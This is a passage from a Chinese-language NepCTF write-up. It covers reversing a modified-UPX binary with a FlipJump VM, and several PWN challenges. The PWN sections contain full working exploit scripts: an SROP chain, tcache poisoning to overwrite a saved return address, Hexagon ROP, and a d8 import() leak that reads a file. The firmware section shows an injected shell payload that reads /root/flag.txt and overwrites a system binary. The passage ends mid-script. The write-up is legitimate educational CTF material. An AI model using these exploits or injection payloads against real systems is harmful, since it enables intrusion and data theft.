            regs[left] = (regs[left] - regs[right]) & 0xFFFFFFFF
        elif op == "swap":
            _, left, right = inst
            regs[left], regs[right] = regs[right], regs[left]
        elif op == "sbox":
            _, t = inst
            regs[t] = inverse_substitute_nibbles(regs[t])
        elif op == "not":
            _, t = inst
            regs[t] = (~regs[t]) & 0xFFFFFFFF
        elif op == "perm":
            _, pidx = inst
            old = [0] * 16
            for i, src in enumerate(register_permutations[pidx]):
                old[src] = regs[i]
            regs = old
        elif op == "mix":
            _, left, right, amount = inst
            new_left, new_right = regs[left], regs[right]
            old_right = new_right ^ rotl32(new_left, amount * 3 + 1)
            old_left = (new_left - rotl32(old_right, amount)) & 0xFFFFFFFF
            regs[left], regs[right] = old_left, old_right

    return b"".join(x.to_bytes(4, "little") for x in regs)


def seed_from_witness(witness):
    state = 0x9E3779B97F4A7C15
    for i, b in enumerate(witness):
        state ^= b << ((i & 7) * 8)
        state = xorshift64(state + 0xD1B54A32D192ED03 + i)
    return state


def stream_byte(seed, index):
    state = seed ^ ((0xA5A5A5A5A5A5A5A5 + index * 0x100000001B3) & MASK64)
    for step in range(index + 6):
        state = xorshift64(state + 0x9E3779B97F4A7C15 + step)
    return (state >> ((index & 7) * 8)) & 0xFF


def decrypt_flag(witness):
    seed = seed_from_witness(witness)
    out = []
    for i in range(len(encrypted)):
        addend = (0x31 + i * 0x2D + witness[(i + 5) % 64]) & 0xFF
        rotation = (i * 5 + witness[(i * 3 + 7) % 64]) & 7
        salt = (i * 13 + 0xA7) & 0xFF
        mixed = encrypted[message_permutation[i]] ^ stream_byte(seed, i) ^ witness[(i * 7 + 11) % 64] ^ salt
        out.append((rotl8(mixed, rotation) - addend) & 0xFF)
    return bytes(out)


witness = recover_witness()
print(decrypt_flag(witness).decode())

运行结果:

NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}

Step 3: 编译验证

把恢复出的 witness 写入 include/generated_witness.hpp:

#pragma once

namespace cmc {

using witness = witness_bytes<
    0xd4, 0xb8, 0x82, 0xdb, 0x1a, 0xa7, 0xe5, 0xde,
    0xd4, 0x32, 0xdf, 0xdf, 0x4c, 0xdb, 0x0c, 0x41,
    0xcf, 0x6d, 0x0a, 0xce, 0x92, 0xd4, 0xe4, 0x1a,
    0xcc, 0x68, 0x89, 0xfe, 0x6f, 0xff, 0x78, 0x68,
    0x12, 0x14, 0x9a, 0xea, 0xd0, 0x35, 0xe4, 0xab,
    0xa2, 0x9c, 0xff, 0x4e, 0xf3, 0xf4, 0x47, 0x7f,
    0xf9, 0x58, 0x86, 0x71, 0x47, 0x44, 0x33, 0x97,
    0x93, 0x72, 0x27, 0x5d, 0x65, 0x85, 0x90, 0xa1>;

} // namespace cmc

然后编译运行:

c++ -std=c++17 -O2 -Wall -Wextra -pedantic -Iinclude src/main.cpp -o build/compile_me_maybe.exe
./build/compile_me_maybe.exe

输出同样为:

NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}

ColorfulArray

1. 初步分析

先查看文件类型、哈希和 PE 结构:

file ColorfulArray_upxtry.exe
sha256sum ColorfulArray_upxtry.exe
objdump -x ColorfulArray_upxtry.exe

输出表明它是一个 64 位 Windows 控制台程序:

PE32+ executable for MS Windows 6.00 (console), x86-64, 4 sections

PE 的关键字段如下:

ImageBase:  0x140000000
Entry RVA:  0x003fe7d0
Entry VA:   0x1403fe7d0

节表非常反常:

Section

RVA

Virtual Size

Raw Size

特征

.text

0x1000

0x33e000

0

可执行、可写,几乎全为未初始化空间

.data

0x33f000

0xc0000

0xbfc00

入口点位于此节

.rsrc

0x3ff000

0x1000

0x600

导入表也被放在附近

.reloc

0x400000

0

0x200

重定位数据

正常程序很少会出现 .text 的 Raw Size 为 0、入口点却落在 .data 末端的情况。这是典型的“原代码区仅预留虚拟空间,压缩数据和解压 stub 放在另一个节中”的壳结构。

导入函数同样很少,主要只有:

LoadLibraryA
GetProcAddress
VirtualProtect
ExitProcess
strlen
memset

这也是壳程序的常见特征:先依靠极少量 API 完成解压、修复导入表和内存权限,再跳转到原始入口点。

2. 识别修改版 UPX

从入口点开始反汇编:

objdump -D -Mintel \
  --start-address=0x1403fe7d0 \
  --stop-address=0x1403fea00 \
  ColorfulArray_upxtry.exe

入口处首先将:

lea rsi, [0x14033f000]       ; 压缩数据
lea rdi, [rsi-0x33e000]     ; 解压目标,即原 .text

随后进入一段由位流控制的 LZ/NRV 解压循环,代码中可看到:

  • 反复通过 add ebx, ebx / adc 读取压缩位;
  • 读取 literal 字节并写入目标缓冲区;
  • 根据负偏移从已解压数据中复制 match;
  • 解压完成后扫描代码并修复 E8/E9 相对调用;
  • 调用 LoadLibraryA、GetProcAddress 重建导入表;
  • 使用 VirtualProtect 恢复节权限;
  • 最后跳转到 OEP。

这组特征与 UPX x64 的 NRV 解压 stub 高度一致。题目修改了节名及部分特征,因此直接依赖 UPX! 字符串或 UPX0/UPX1 节名的识别方式会失效。

3. 无执行解包

为了避免直接运行未知 Windows 样本,可以使用 Unicorn 对入口 stub 进行仿真,只让解压器工作,不执行最终业务逻辑。

基本步骤如下:

  1. 按 PE 的 ImageBase 映射完整镜像;
  2. 映射栈、TEB/PEB 所需的最小内存;
  3. 将文件中的节复制到对应 VA;
  4. 对 LoadLibraryA、GetProcAddress、VirtualProtect 等 API 设置 hook;
  5. 从 0x1403fe7d0 开始仿真;
  6. 当 stub 完成解压并准备跳转到原始代码区时停止;
  7. dump 0x140001000 开始的已解压区域。

伪代码如下:

from unicorn import Uc, UC_ARCH_X86, UC_MODE_64
from unicorn.x86_const import UC_X86_REG_RIP, UC_X86_REG_RSP

IMAGE_BASE = 0x140000000
ENTRY      = 0x1403FE7D0
STACK      = 0x0000000070000000

uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(IMAGE_BASE, 0x500000)
uc.mem_map(STACK, 0x200000)

# 将 PE headers / sections 写入相应地址
# 为导入 API 安装 hook,并返回可控的假句柄或地址

uc.reg_write(UC_X86_REG_RSP, STACK + 0x1f0000)
uc.reg_write(UC_X86_REG_RIP, ENTRY)
uc.emu_start(ENTRY, 0)

unpacked = uc.mem_read(IMAGE_BASE, 0x401000)
open("ColorfulArray_unpacked.bin", "wb").write(unpacked)

解包后恢复出的程序是正常的 MSVC C++ 程序。沿 CRT 启动流程进入 main 后,可以看到它将 std::cout 和 std::cin 传入核心函数:

sub_140001B50(std::cout, std::cin)

后文地址均基于 ImageBase = 0x140000000。

4. 核心函数并不是普通 Flag 校验

分析 sub_140001B50 时会发现,它没有常见的 strcmp、逐字节 XOR 或哈希比较逻辑,而是在初始化一个规模很大的状态机:

  • 维护 16 组哈希表/状态表;
  • 运行时生成或载入约 50 万条键值记录;
  • 输入被拆成单个位参与状态转移;
  • 每次运行需要执行数百万次跳转。

这说明外层 C++ 代码更像一个虚拟机解释器。

将内嵌数据 dump 后搜索文件头,可以发现:

FJ@

这是 FlipJump 程序文件 .fjm 的魔数。

5. FlipJump 简介与输入位序

FlipJump 是一种极简指令集。每条指令本质上只做两件事:

  1. 翻转内存中的某一位;
  2. 根据翻转后的结果跳转到指定位置。

虽然指令集极小,但可以构造任意复杂的计算。题目的 C++ 程序实际上只是一个 FlipJump 运行时。

调试输入函数后可以确认,标准输入不是按正常字符串直接参与比较,而是按 LSB-first 顺序逐位读取:

def get_input_bit(data: bytes, bit_index: int) -> int:
    return (data[bit_index >> 3] >> (bit_index & 7)) & 1

也就是说,每个字节的读取顺序是:

bit0, bit1, bit2, ... bit7

而不是常见的 MSB-first。

题目给出的歌词和 ColorfulArray 名称主要用于提示“位、状态数组和颜色般的分支”,真正的校验逻辑仍藏在 FlipJump 程序中。

6. 从 FJM 中继续还原 RV32 程序

直接逐条解释 FlipJump 会很慢,一次输入可能需要执行数百万甚至更多条指令。更好的方式有两种:

方案 A:使用 FlipJump 的原生/高速执行引擎

将 dump 出的 .fjm 交给 FlipJump 的 native runner,在输入、输出和关键内存访问处增加日志。

方案 B:识别 FJM 中承载的上层程序

继续观察状态机的数据布局,可以发现其中还原出的是一段 RV32 代码,也就是由 C 编译得到的 RISC-V 32 位校验器。

将这部分代码与数据提取后,搜索字符串可以找到:

Fake
Err
Correct!

这些字符串提供了最直接的逆向入口。对 Correct! 做交叉引用,向上回溯即可定位成功分支及其前置判断。

校验器本身很小,真正与输入有关的代码不到约 2 KB。其逻辑可以概括为:

  1. 读取用户输入;
  2. 检查长度和 Flag 格式;
  3. 通过若干位运算/索引运算生成中间状态;
  4. 将结果与内置常量表比较;
  5. 全部条件满足后打印 Correct!,否则进入 Fake 或 Err 分支。

数据段中还存在一段 64 字节常量,它参与了中间状态校验,但并不是直接以明文形式存储的 Flag。

7. 恢复输入约束

这里没有必要完整重写整个 RV32 程序。最省事的做法是在成功分支之前的比较位置进行插桩:

  • 记录当前读取的是输入的哪一位或哪一个字节;
  • 记录该比较要求的期望值;
  • 将所有路径上的约束收集起来;
  • 检查是否存在冲突;
  • 按输入索引重新拼接字符。

简化后的约束收集逻辑如下:

required = {}

def add_constraint(index: int, value: int):
    value &= 0xff
    if index in required and required[index] != value:
        raise ValueError("conflicting constraint")
    required[index] = value

# 在 RV32 比较指令或其等价的 FlipJump 状态处调用 add_constraint()

flag = bytes(required[i] for i in range(max(required) + 1))
print(flag)

恢复出的输入长度为 33 字节:

NepCTF{G0tTheTru3RealCu7eNeuro!^}

Flag 的格式、长度和所有内部约束均匹配。

8. 验证

将恢复出的字符串按原样输入程序:

NepCTF{G0tTheTru3RealCu7eNeuro!^}

程序最终输出:

Correct!
Program exited with exit code 0x0.

因此最终 Flag 为:

NepCTF{G0tTheTru3RealCu7eNeuro!^}

PWN

shadow_signal

Step 1: 基础分析

保护情况:

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

main 的关键逻辑如下:

printf("gift: %p\n", stdout);
read(0, &ptr, 8);
puts(ptr);

这里 gift 泄露的是 libc 中 _IO_2_1_stdout_ 的地址,因此可以计算 libc base。随后向 puts 传入非法地址,例如 0x1,触发 SIGSEGV,进入程序注册的 signal handler。

handler 内部会输出 signal\n,然后执行:

read(0, stack_buf, 0x500);

但栈缓冲区约为 0x110 字节,因此可以覆盖 handler 的返回地址和后续 signal frame。

Step 2: SROP 思路

handler 会检查自己的返回地址是否保持不变,所以不能直接把返回地址改成普通 gadget。正确做法是:

  1. 覆盖到 handler 保存 RIP 的位置,写入 libc 中 __restore_rt trampoline。
  2. 紧跟伪造的 SigreturnFrame。
  3. 让 rt_sigreturn 恢复寄存器,执行一次 read(0, .bss, 0x400)。
  4. 同时把 rsp 迁移到 .bss。
  5. 第二阶段在 .bss 上放普通 ROP 链,执行 open("/flag", 0) -> read(3, buf, 0x100) -> write(1, buf, 0x100)。

seccomp 允许的 syscall 包含 read、write、open、mprotect、rt_sigreturn、exit、exit_group,所以 open/read/write 可以直接读 flag。

完整利用脚本:

#!/usr/bin/env python3
from pwn import *

context.clear(arch="amd64", os="linux")
context.log_level = "info"

HOST = "s7wdlc9l-wrwe-iexc-tokj-6a5a0fbb32058-neptune.nepctf.com"
PORT = 443

elf = ELF("./shadow_signal", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
rop = ROP(libc)

STDOUT_OFF = libc.symbols["_IO_2_1_stdout_"]
RESTORE_RT_OFF = next(libc.search(bytes.fromhex("48c7c00f0000000f05")))
SYSCALL_RET_OFF = next(libc.search(b"\x0f\x05\xc3"))

POP_RAX = rop.find_gadget(["pop rax", "ret"]).address
POP_RDI = rop.find_gadget(["pop rdi", "ret"]).address
POP_RSI = rop.find_gadget(["pop rsi", "ret"]).address
POP_RDX_RBX = rop.find_gadget(["pop rdx", "pop rbx", "ret"]).address

BSS = 0x404800
STAGE = BSS
FLAG_PATH = BSS + 0x300
FLAG_BUF = BSS + 0x340


def conn():
    return remote(HOST, PORT, ssl=True, sni=HOST)


def make_stage2(base, path):
    syscall_ret = base + SYSCALL_RET_OFF
    chain = flat(
        base + POP_RAX,
        2,
        base + POP_RDI,
        FLAG_PATH,
        base + POP_RSI,
        0,
        base + POP_RDX_RBX,
        0,
        0,
        syscall_ret,
        base + POP_RAX,
        0,
        base + POP_RDI,
        3,
        base + POP_RSI,
        FLAG_BUF,
        base + POP_RDX_RBX,
        0x100,
        0,
        syscall_ret,
        base + POP_RAX,
        1,
        base + POP_RDI,
        1,
        base + POP_RSI,
        FLAG_BUF,
        base + POP_RDX_RBX,
        0x100,
        0,
        syscall_ret,
    )
    return chain.ljust(0x300, b"\x00") + path + b"\x00"


def attempt(path=b"/flag"):
    io = conn()
    line = io.recvline(timeout=10)
    gift = int(line.split(b"0x", 1)[1], 16)
    base = gift - STDOUT_OFF
    log.success(f"libc base = {base:#x}")

    restore_rt = base + RESTORE_RT_OFF
    syscall_ret = base + SYSCALL_RET_OFF

    io.send(p64(1))
    io.recvuntil(b"signal\n", timeout=10)

    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = 0
    frame.rsi = STAGE
    frame.rdx = 0x400
    frame.rsp = STAGE
    frame.rip = syscall_ret

    payload = b"A" * 0x118 + p64(restore_rt) + bytes(frame)
    io.send(payload)

    io.send(make_stage2(base, path).ljust(0x400, b"\x00"))
    data = io.recvrepeat(3)
    io.close()
    return data


if __name__ == "__main__":
    out = attempt(b"/flag")
    print(out.decode("latin-1", errors="replace"))

Step 3: 运行结果

$ python exploit_shadow_signal.py
NepCTF{b581d92a-340e-d6cf-ff24-b41d02577955}

onlyone

第一步:泄露栈

程序已经给了 libc 泄露,所以第一步只需要想办法拿栈地址。

最方便的目标是 __environ:

  • 它是 libc 中的全局指针。
  • 值本身就是栈上的环境变量数组地址。
  • 不在程序对 stdin/stdout/stderr 的 chunk 分配黑名单范围里。

具体做法:

  1. add(0)
  2. free(0)
  3. poke(0, libc.sym["__environ"])
  4. add(1) 取回原 chunk
  5. add(2) 得到位于 __environ 的 fake chunk
  6. add(3) 再拿一个同链位置用于 show
  7. show(3) 泄露 envp

得到的 envp 就是子进程当前栈上的环境变量区地址。

第二步:定位最后一次 write 时的 saved RIP

本题一个非常好用的事实是:

  • 当程序走到最后那次 write_slot,也就是阻塞在 read(0, slot->ptr, 0x30) 等我们发 payload 时,
  • 当前 rsp 和 envp 的差值稳定为 0x250。

也就是:

target_rsp = envp - 0x250

这个位置正好就是那次 read() 返回后的 saved RIP 所在处,所以可以直接覆盖返回地址。

第三步:再次 poison 到栈

重新利用 freelist:

  1. free(2)
  2. poke(2, target_rsp)
  3. add(4) 取回原 chunk
  4. add(5) 得到指向 target_rsp 的 fake chunk

此时 slot 5 的 ptr 就在 saved RIP 上。

第四步:0x30 字节 ret2libc

最后对 slot 5 执行 write,写入一个 0x30 的 ROP 链。

这里不需要很长链,因为当 read(0, target_rsp, 0x30) 返回时:

  • rsi/rdx 的上下文对我们很友好
  • 直接调用 write 就够了

最终链子是:

pop rdi ; ret
6
pop rsi ; ret
target_rsp + 40
write
"Nepnep!!"

其中:

  • 6 是子进程持有的通知 pipe 写端 fd
  • target_rsp + 40 指向我们 payload 尾部的字符串
  • write 一次会写出 0x30 字节,但父进程只读前 6 字节,所以后面是什么无所谓

最重要的坑:不是 NepNep,而是 Nepnep

一开始很容易根据题面或者直觉认为父进程比较的是:

NepNep

但实际二进制里字符串常量是:

4e 65 70 6e 65 70

也就是:

Nepnep

第四个字符是小写 n。

这个细节如果看错,就会出现一种很迷惑的现象:

  • ROP 成功执行
  • write(6, ...) 真的发出去了
  • 父进程还是输出 no flag for you

本地用 strace 可以直接看到:

write(6, "NepNep!!...", 48) = 48

但因为比较串不对,父进程照样失败。把内容改成 Nepnep 之后就立刻通关。

Exp

完整远程脚本如下:

from pwn import *

context.arch = "amd64"

HOST = "fhwygbfk-amus-ebmk-hrhc-6a5b642230781-neptune.nepctf.com"
PORT = 443

libc = ELF("./src/libc.so.6", checksec=False)

DELTA = 0x250
POP_RDI = 0x10f78b
POP_RSI = 0x110a7d


def choice(io, n):
    io.sendlineafter(b"> ", str(n).encode())


def add(io, idx):
    choice(io, 1)
    io.sendlineafter(b"idx: ", str(idx).encode())


def write_slot(io, idx, data):
    choice(io, 2)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendafter(b"input: ", data.ljust(0x30, b"\0"))


def free(io, idx):
    choice(io, 3)
    io.sendlineafter(b"idx: ", str(idx).encode())


def show(io, idx):
    choice(io, 4)
    io.sendlineafter(b"idx: ", str(idx).encode())
    return int(io.recvline().strip(), 16)


def poke(io, idx, value):
    choice(io, 5)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"qword: ", str(value).encode())


def main():
    io = remote(HOST, PORT, ssl=True)

    io.recvuntil(b"gift: ")
    leaked_printf = int(io.recvline().strip(), 16)
    libc.address = leaked_printf - libc.sym["printf"]
    log.info("libc = %#x", libc.address)

    target = libc.sym["__environ"]

    add(io, 0)
    free(io, 0)
    poke(io, 0, target)

    add(io, 1)
    add(io, 2)
    add(io, 3)

    envp = show(io, 3)
    log.info("envp = %#x", envp)

    target_rsp = envp - DELTA

    free(io, 2)
    poke(io, 2, target_rsp)

    add(io, 4)
    add(io, 5)

    payload = flat(
        libc.address + POP_RDI,
        6,
        libc.address + POP_RSI,
        target_rsp + 40,
        libc.sym["write"],
    ) + b"Nepnep!!"

    write_slot(io, 5, payload)
    print(io.recvall(timeout=5).decode("latin1", errors="replace"))


if __name__ == "__main__":
    main()

运行结果:

NepCTF{163693d5-965f-4e34-cbf4-22b0b9e19b53}

different_ROP

1. 基础分析

解压附件并查看文件信息:

unzip different_rop.zip -d different_rop_work
cd different_rop_work
chmod +x pwn qemu-hexagon
file pwn qemu-hexagon
checksec --file=./pwn

关键信息如下:

pwn: ELF 32-bit LSB executable, QUALCOMM DSP6, statically linked, stripped
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

程序是 32 位 Hexagon ELF,无 PIE、无 canary、NX 开启。运行后是一个菜单程序,比较关键的是第 3 项:

3. run register calibration

使用 llvm-objdump-15 -d --no-show-raw-insn --print-imm-hex pwn 反汇编,可以看到第 3 项会进入 0x21590 附近:

21590: allocframe(#0x38)
215b8: r0 = #0x0
215bc: r1 = add(r30,#-0x30)
215c0: r2 = #0x40
215c4: call 0x2b8c0
215f8: dealloc_return

这里等价于执行:

read(0, r30 - 0x30, 0x40);

当前函数的 frame 大小是 0x38,但是读取长度是 0x40,所以可以覆盖保存的 r30 和 r31。在 Hexagon 里,r30 类似 frame pointer,r31 是返回地址。

2. ROP 思路

程序里有一个很适合做 syscall 的片段:

21a40: r6 = memw(r30+#-0x1c)
21a44: r0 = memw(r30+#-0x20)
21a48: r1 = memw(r30+#-0x24)
21a4c: r2 = memw(r30+#-0x28)
21a50: r3 = memw(r30+#-0x2c)
21a54: r4 = memw(r30+#-0x30)
21a58: trap0(#0x1)
21a70: dealloc_return

这个 gadget 会从 r30 附近取 syscall number 和参数:

  • r6 = syscall number
  • r0 到 r4 为 syscall 参数
  • trap0(#0x1) 触发系统调用
  • 最后 dealloc_return 根据下一组保存的 r30/r31 继续返回

最开始尝试直接依赖本地 QEMU 的栈地址构造链,本地能成功,但远端栈布局有偏移,会直接 core。为了避免依赖远端栈地址,最终采用无栈地址依赖的两级迁移:

  1. 第一次溢出只覆盖保存的 r30/r31:
  • saved r30 = .bss + 0x40
  • saved r31 = 0x215b8
  1. 返回到程序自己的 read(0, r30-0x30, 0x40) 片段,让它把一个 64 字节的小 pivot frame 读到 .bss。
  2. 小 pivot frame 调用 syscall gadget,继续把完整二阶段 ROP 读到 .bss。
  3. 二阶段执行:
  • openat(AT_FDCWD, "/flag", O_RDONLY)
  • read(3, buf, 0x100)
  • write(1, buf, 0x100)

远端实际 openat("/flag") 返回的 fd 是 3,因此后续 read 使用 fd 3。

3. 完整 Exploit

from pwn import *

HOST = "ibsn3yk3-p8s3-n82c-n0bz-6a5a145131623-neptunus.nepctf.com"
PORT = 443

SYSCALL = 0x21A40
FIRST_READ = 0x215B8
BSS = 0x4C000

SYS_OPENAT = 56
SYS_READ = 63
SYS_WRITE = 64
AT_FDCWD = 0xFFFFFF9C


def u32(x):
    return p32(x & 0xFFFFFFFF)


def frame(r30, syscall_no, a0=0, a1=0, a2=0, a3=0, a4=0, next_r30=0, next_pc=0):
    data = bytearray(0x40)
    base = r30 - 0x30

    def put(addr, value):
        off = addr - base
        data[off:off + 4] = u32(value)

    put(r30 - 0x30, a4)
    put(r30 - 0x2C, a3)
    put(r30 - 0x28, a2)
    put(r30 - 0x24, a1)
    put(r30 - 0x20, a0)
    put(r30 - 0x1C, syscall_no)
    put(r30, next_r30)
    put(r30 + 4, next_pc)
    return bytes(data)


def build_payload():
    # 第一阶段:覆盖 saved r30/r31,返回到程序自带 read 片段。
    stage1 = bytearray(0x40)
    stage1[0x30:0x34] = u32(BSS + 0x40)
    stage1[0x34:0x38] = u32(FIRST_READ)

    # 第二阶段前置:向 .bss 读取完整 ROP 链。
    mini = bytearray(0x40)
    mini_base = BSS + 0x10
    mini_r30 = BSS + 0x48
    big_base = BSS + 0x100
    big_len = 0x300

    def put_mini(addr, value):
        off = addr - mini_base
        mini[off:off + 4] = u32(value)

    put_mini(mini_r30 - 0x30, 0)
    put_mini(mini_r30 - 0x2C, 0)
    put_mini(mini_r30 - 0x28, big_len)
    put_mini(mini_r30 - 0x24, big_base)
    put_mini(mini_r30 - 0x20, 0)
    put_mini(mini_r30 - 0x1C, SYS_READ)
    put_mini(BSS + 0x40, mini_r30)
    put_mini(BSS + 0x44, SYSCALL)
    put_mini(mini_r30, big_base + 0x30)
    put_mini(mini_r30 + 4, SYSCALL)

    # 第二阶段:open/read/write 读取 /flag。
    path_addr = big_base + 0xD0
    buf_addr = big_base + 0x100
    open_r30 = big_base + 0x30
    read_r30 = big_base + 0x70
    write_r30 = big_base + 0xB0

    big = bytearray(big_len)
    big[0x00:0x40] = frame(open_r30, SYS_OPENAT, AT_FDCWD, path_addr, 0, 0, 0, read_r30, SYSCALL)
    big[0x40:0x80] = frame(read_r30, SYS_READ, 3, buf_addr, 0x100, 0, 0, write_r30, SYSCALL)
    big[0x80:0xC0] = frame(write_r30, SYS_WRITE, 1, buf_addr, 0x100, 0, 0, 0, 0)
    big[0xD0:0xD6] = b"/flag\x00"

    return bytes(stage1) + bytes(mini) + bytes(big)


io = remote(HOST, PORT, ssl=True, sni=HOST)
io.recvuntil(b"> ")
io.sendline(b"3")
io.recvuntil(b"note> ")
io.send(build_payload())
data = io.recvall(timeout=3)
print(data.replace(b"\x00", b"").decode(errors="ignore"))

运行结果:

calibration data recorded
calibration data recorded
NepCTF{0d39788f-2afa-0378-4712-807381ceed12}
timeout: the monitored command dumped core

末尾的 core 不影响结果,是 ROP 链写出 flag 后没有继续做干净退出。

这……这是js?

题目信息

  • 赛题名称: V8 d8 交互式沙盒
  • 题目描述: 连接远程得到一个 V8 引擎的 d8 交互式 shell,当前目录下有 flag 文件,但不能直接运行 shell 命令读取。
  • 附件: d8 二进制、Dockerfile、run_pwn.sh、自制的 ls / cat(chroot 环境用)
  • 远程连接: ncat --ssl <host> 443

环境分析

从 Dockerfile 和 run_pwn.sh 可以看出服务端架构:

Dockerfile 构建要点:
  ┌─ 编译阶段 ──────────────────────────┐
  │  gcc ls.c → ./ls                     │
  │  gcc cat.c → ./cat                   │
  └──────────────────────────────────────┘
  ┌─ 运行阶段 ──────────────────────────┐
  │  d8 放入 /home/ctf/d8               │
  │  flag 放入 /home/ctf/flag           │
  │  ls/cat 放入 /home/ctf/bin/         │
  │  只有 /bin/sh 作为 shell             │
  │  chroot --userspec=1000:1000        │
  │     /home/ctf ./d8                  │
  └──────────────────────────────────────┘

run_pwn.sh 关键行:

exec timeout 300 chroot --userspec=1000:1000 /home/ctf ./d8 --experimental-wasm-gc

这意味着:

  1. 用户被 chroot 到 /home/ctf,工作目录就是 chroot 根 /
  2. 用户身份是 uid 1000(低权限用户 ctf)
  3. 唯一的入口进程是 d8(V8 的 standalone JavaScript shell),开启 --experimental-wasm-gc
  4. 没有 /bin/bash,只有自定义的 ls 和 cat,无法执行任意系统命令
  5. flag 文件 ./flag 就在当前目录,权限 644

自制的 ls.c 和 cat.c 仅实现了最简单的目录列举和文件读取功能,没有额外的安全限制。

漏洞原理

V8 的 d8 支持 动态 import() —— 即使在没有文件系统访问限制的沙盒里,import() 会将目标文件当作 JavaScript 模块来解析。

关键链路:

import("./flag")
  → V8 模块加载器读取 ./flag 文件内容
  → 尝试按 JavaScript 模块语法解析
  → flag 内容 "{...}" 不是合法 JS
  → 抛出 SyntaxError
  → V8 将出错源码行(即 flag 内容)一起回显到 stderr

这样,flag 就被 JavaScript 引擎的语法错误信息"带"出来了,属于侧信道信息泄露。

利用步骤

1. 连接远程 d8 shell

远程服务通过 SSL/TLS 加密,使用 Python 的 ssl 库包装 socket。

2. 发送动态 import payload

void import("./flag").catch(function(){})
  • void 确保表达式不返回值
  • .catch(function(){}) 捕获 Promise rejection,防止未捕获异常导致 d8 退出
  • 不加这句,import 失败抛出的未捕获异常会让 d8 进程直接终止,我们就看不到后续输出

3. 收取回显

d8 会先打印 banner,然后回显执行结果。因为 import("./flag") 解析失败,输出类似:

V8 is running with experimental features enabled. Stability and security will suffer.
d8> //flag:1: SyntaxError: Unexpected token '{'
NepCTF{...}
      ^
SyntaxError: Unexpected token '{'

undefined
d8>

第三行的 NepCTF{...} 就是 flag 内容。

完整 Exploit

import re
import socket
import ssl
from time import monotonic as now

HOST = "<remote-host>"
PORT = 443

# 核心 payload:让 d8 把 flag 当 JS 模块解析,语法错误会泄漏文件内容
PAYLOAD = b'void import("./flag").catch(function(){})\n'

FLAG_PATTERN = re.compile(r"(?:NepCTF|flag)\{[^}\r\n]+\}")

def recv_all(conn, timeout: float) -> bytes:
    """在给定的超时时间内尽可能多地收取数据"""
    buf = bytearray()
    deadline = now() + timeout
    while now() < deadline:
        try:
            chunk = conn.recv(4096)
        except (socket.timeout, BlockingIOError):
            continue
        if not chunk:
            break
        buf += chunk
    return bytes(buf)

def exploit():
    # 创建 TLS 连接(服务端是自签名证书,跳过验证)
    ctx = ssl._create_unverified_context()
    with ctx.wrap_socket(
        socket.create_connection((HOST, PORT), timeout=15),
        server_hostname=HOST
    ) as conn:
        conn.settimeout(0.8)

        # 收取 d8 启动 banner
        banner = recv_all(conn, 1.5)

        # 发送 payload
        conn.sendall(PAYLOAD)

        # 等待 d8 解析并返回错误信息
        output = recv_all(conn, 8.0)

    full = (banner + output).decode(errors="replace")
    print(full)

    match = FLAG_PATTERN.search(full)
    if match:
        print(f"\n[+] FLAG: {match.group()}")
    else:
        print("\n[-] 未在回显中找到 flag")

if __name__ == "__main__":
    exploit()

What's the IPC

1. 固件分析

firmware.bin 是一个完整的摄像头固件打包。头部的 TD0201AX520CE 是固件版本标识,其中嵌入了 xz 压缩段和 gzip 段。

解包后重点关注用户态主服务 rootfs-user/bin/Kylin。该二进制实现了自定义的 UDP JSON RPC 协议,用于设备的 ATE(产测)功能。

通过逆向 Kylin 服务,发现以下暴露的 RPC 方法:

Method

用途

PTRfTxCali

射频发射校准,携带 mp_rate 参数

PTMpQuery

查询校准结果,执行 /usr/sbin/rtwpriv ... mp_query 并回显输出

PTGetMapFile

获取地图文件

PTMpTher

温度查询

2. 漏洞定位

PTRfTxCali 在处理请求时,将 JSON 中的 mp_rate 字段直接拼接到 shell 命令中:

rtwpriv wlan0 mp_rate <mp_rate>

其中 <mp_rate> 来自用户输入的 JSON 字段,未经任何过滤直接传给 system() 或 popen()。攻击者可以通过注入 ; 或 && 插入任意 shell 命令。

注入点示例:

{"method":"PTRfTxCali","param":{"mp_rate":"1;cat /root/flag.txt;#"}}

3. 利用难点 — 命令回显

直接注入 cat /root/flag.txt 会执行,但 PTRfTxCali 仅返回 success,不返回命令的标准输出。

解决办法是另一个 RPC 方法 PTMpQuery:它会执行 /usr/sbin/rtwpriv ... mp_query 并将结果封装在 JSON 响应中返回。

利用策略:

  1. 用命令注入覆写 /usr/sbin/rtwpriv 为一个自定义 shell 脚本
  2. 该脚本执行 cat /root/flag.txt 并输出到 stdout
  3. 调用 PTMpQuery 触发脚本执行并读取回显

4. 利用过程

Step 1: 逐行构建 payload 脚本

由于单次注入长度有限且包含特殊字符可能干扰,将 payload 脚本拆成多行写入 /tmp/r,然后复制到 /usr/sbin/rtwpriv:

# 1. 创建脚本头
echo '#!/bin/sh'>/tmp/r
# 2. 追加 padding(26个0,使输出对齐以便解析)
printf '%026d'>>/tmp/r
# 3. 追加要执行的命令
printf 'cat /root/flag.txt'>>/tmp/r
# 4. 追加结束标记
printf 'echo ,,,,'>>/tmp/r
# 5. 覆盖原文件
cp /tmp/r /usr/sbin/rtwpriv
chmod +x /usr/sbin/rtwpriv

每个 printf 和 echo 命令通过注入 PTRfTxCali 的 mp_rate 字段完成。

Step 2: 触发执行

发送 {"method":"PTMpQuery","param":{}}

服务端执行 /usr/sbin/rtwpriv ... mp_query,实际运行的是我们的脚本,脚本执行 cat /root/flag.txt,输出通过 JSON 响应返回。

5. 完整 Exploit

#!/usr/bin/env python3
"""
IPC Camera Firmware — UDP JSON RPC Command Injection Exploit
Target: PTRfTxCali mp_rate → command injection → overwrite rtwpriv → PTMpQuery readback
"""

import json
import re
import sys
import time
from pwn import *

context.log_level = 'info'

FLAG_RE = re.compile(rb'((?:[A-Za-z_][A-Za-z0-9_]*CTF|flag)\{[^}\r\n]+\})', re.I)


def udp_call(host, port, method, params=None, timeout=5):
    """Send a UDP JSON RPC request and return (got_response, response_body)."""
    if params is None:
        params = {}
    body = json.dumps({"method": method, "param": params}, separators=(',', ':'))
